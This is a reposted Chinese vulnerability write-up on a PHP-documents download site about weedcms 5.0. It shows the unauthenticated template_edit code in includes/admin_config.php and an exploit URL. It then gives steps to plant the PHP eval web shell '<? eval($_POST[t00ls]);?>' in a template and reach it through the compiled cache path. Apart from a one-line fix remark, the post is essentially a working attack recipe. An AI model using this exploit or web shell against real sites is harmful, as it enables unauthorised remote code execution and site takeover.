文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>野草weedcms 5.0写shell漏洞

野草weedcms 5.0写shell漏洞

时间:2011-01-05  来源:心灵

发布日期:2011-01.05
发布作者:心灵

影响版本:weedcms 5.0
官方网站:http://weedcms.net

漏洞类型:设计缺陷
漏洞描述:问题文件在 includes/admin_config.php
这个程序登录验证是一个对每个方法来验证登录 而不是对整个文件来验证
还是那句。。 看代码
 

if($do=='template_edit'){  $file=empty($_GET['file'])?'':trim($_GET['file']);  if(get_ext($file)!='html'&&get_ext($file)!='css'){  exit('对不起,参数非法!');  }  $content=file_get_contents('templates/'.$config['site_template'].'/'.$file);  $smarty=new smarty();smarty_header();  $smarty->assign('file',$file);  $smarty->assign('content',$content);  $smarty->display('template_info.htm');  }  

文件开头的方法每个IF后都验证一次

漏洞测试EXP:http://127.0.0.1/admin.php?action=config&do=template_edit&file=part_vote.html

在文件头插入 <? eval($_POST[t00ls]);?> 然后访问一次首页缓存就生成出来了
最后马儿就在 http://127.0.0.1/temps/compile/part_vote.html.php
 

漏洞修复:加强验证,关注厂商补丁。

 

标签分类:

相关阅读 更多 +
排行榜 更多 +
翌日波奇狗的历险记手机版下载

翌日波奇狗的历险记手机版下载

休闲益智 下载
怪兽远征安卓版下载

怪兽远征安卓版下载

角色扮演 下载
谷歌卫星地图免费版下载

谷歌卫星地图免费版下载

生活实用 下载